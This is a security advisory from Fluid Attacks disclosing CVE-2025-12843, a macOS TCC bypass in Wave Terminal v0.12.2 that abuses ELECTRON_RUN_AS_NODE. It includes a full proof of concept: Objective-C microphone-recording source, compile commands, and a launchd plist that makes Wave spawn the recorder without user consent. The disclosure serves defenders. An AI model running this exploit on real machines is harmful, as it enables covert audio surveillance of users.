Code Injection in Wave Term v0.12.2 allowing TCC Bypass

6,9

Medium

6,9

Medium

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Code Injection using Electron Fuses in Wave Term v0.12.2 allowing TCC Bypasss

Code name

State

Public

Release date

12 de dez. de 2025

Affected product

Waveterm

Vendor

Wave

Affected version(s)

v0.12.2

Vulnerability name

TCC Bypass

Remotely exploitable

No

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

Description

The version v0.12.2 of Wave Terminal on macOS contains a misconfiguration in the Node.js/Electron environment settings that could allow code execution by utilizing the ELECTRON_RUN_AS_NODE environment variable or the --inspect option. This allows an attacker to bypass the TCC (Transparency, Consent, and Control) safe mechanism and capture audio, video, or screen content without user consent.

Vulnerability

A misconfiguration vulnerability in Wave v0.12.2 running on macOS allows for arbitrary code execution and evasion of macOS's Transparency, Consent, and Control (TCC) mechanism. This flaw stems from the Node.js/Electron environment settings, where manipulation of the ELECTRON_RUN_AS_NODE environment variable or the use of the --inspect option can be exploited.

An attacker can leverage this misconfiguration to execute malicious code, bypassing TCC protections. This could lead to the unauthorized capture of audio from the microphone without explicit user consent, compromising system privacy.

Without the TCC bypass, an attacker can't capture audio because of the entitlements granted to the terminal.

PoC

1. Create a binary to record from the microphone.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@interface MicRecorder : NSObject < AVCaptureFileOutputRecordingDelegate > @property (strong) AVCaptureSession  * session;
@property (strong) AVCaptureMovieFileOutput  * output;
@end
@implementation MicRecorder
 -  (instancetype)init {
    self = [super init];
    if (self)  {
        self.session = [[AVCaptureSession alloc] init];
        self.output = [[AVCaptureMovieFileOutput alloc] init];
        // Audio device (default microphone)
        AVCaptureDevice  * mic = [AVCaptureDevice
        defaultDeviceWithMediaType:AVMediaTypeAudio];
        NSError  * error = nil;
        AVCaptureDeviceInput  * input = [AVCaptureDeviceInput deviceInputWithDevice:mic
        error:&error];
        if (!input)  {
            NSLog(@"Failed to open microphone: %@", error);
            return nil;
        }

        if ([self.session canAddInput:input])  {
            [self.session addInput:input];
        }

        if ([self.session canAddOutput:self.output])  {
            [self.session addOutput:self.output];
        }

    }

    return self;
}

 -  (void)startRecording:(NSString  * )path duration:(int)seconds {
    NSURL  * url = [NSURL fileURLWithPath:path];
    [self.session startRunning];
    [self.output startRecordingToOutputFileURL:url recordingDelegate:self];
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(seconds  *  NSEC_PER_SEC)), dispatch_get_main_queue(), ^ {
        [self.output stopRecording];
        [self.session stopRunning];
        NSLog(@"Recording finished: %@", path);
        CFRunLoopStop(CFRunLoopGetMain());
    }

    );
}

@end
int main(int argc, const char  *  argv[]) {
    @autoreleasepool {
        MicRecorder  * recorder = [[MicRecorder alloc] init];
        NSString  * outfile = @"/tmp/mic-record.mov";
        int duration = (argc > 1) ? atoi(argv[1]) : 5;
        [recorder startRecording:outfile duration:duration];
        CFRunLoopRun();
    }

    return 0;
}
  1. Compile the above code with

    gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic
  2. Create the file `bypass.plist` to launch the daemon:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
        <dict>
            <key>EnvironmentVariables</key>
            <dict>
                <key>ELECTRON_RUN_AS_NODE</key>
                <string>true</string>
            </dict>
            <key>Label</key>
            <string>com.wave.tcc.bypass</string>
            <key>ProgramArguments</key>
            <array>
                <string>/Applications/Wave.app/Contents/MacOS/Wave</string>
                <string>-e</string>
                <string>const { spawn } = require("child_process"); spawn("/tmp/mic");</string>
            </array>
            <key>RunAtLoad</key>
            <true />
        </dict>
    </plist>
  3. Launch the daemon with

    launchctl load bypass.plist

Evidence of Exploitation

Executed commands

# Show mic.m source
cat mic.m

# Compile
gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic

# Copy mic to /tmp (avoid TCC disk access warning)
cp mic /tmp/mic

# List /tmp contents
ls /tmp/

# Show bypass.plist
cat bypass.plist

# Launchctl (unload/load plist)
launchctl unload bypass.plist
launchctl load bypass.plist

# Copy recording
cp /tmp

Wave term entitlements

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>com.apple.security.cs.allow-jit</key>
        <true />
        <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
        <true />
        <key>com.apple.security.cs.disable-library-validation</key>
        <true />
        <key>com.apple.security.device.audio-input</key>
        <true />
        <key>com.apple.security.device.camera</key>
        <true />
        <key>com.apple.security.personal-information.addressbook</key>
        <true />
        <key>com.apple.security.personal-information.calendars</key>
        <true />
        <key>com.apple.security.personal-information.location</key>
        <true />
        <key>com.apple.security.personal-information.photos-library</key>
        <true />
    </dict>
</plist>

Video of exploitation

Our security policy

We have reserved the ID CVE-2025-12843 to refer to this issue from now on.

Disclosure policy

System Information

  • Wave Term

  • Version v0.12.2

  • Operating System: macOS

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

1 de out. de 2025

Vulnerability discovered

10 de nov. de 2025

Vendor contacted

26 de nov. de 2025

Vendor replied

12 de dez. de 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.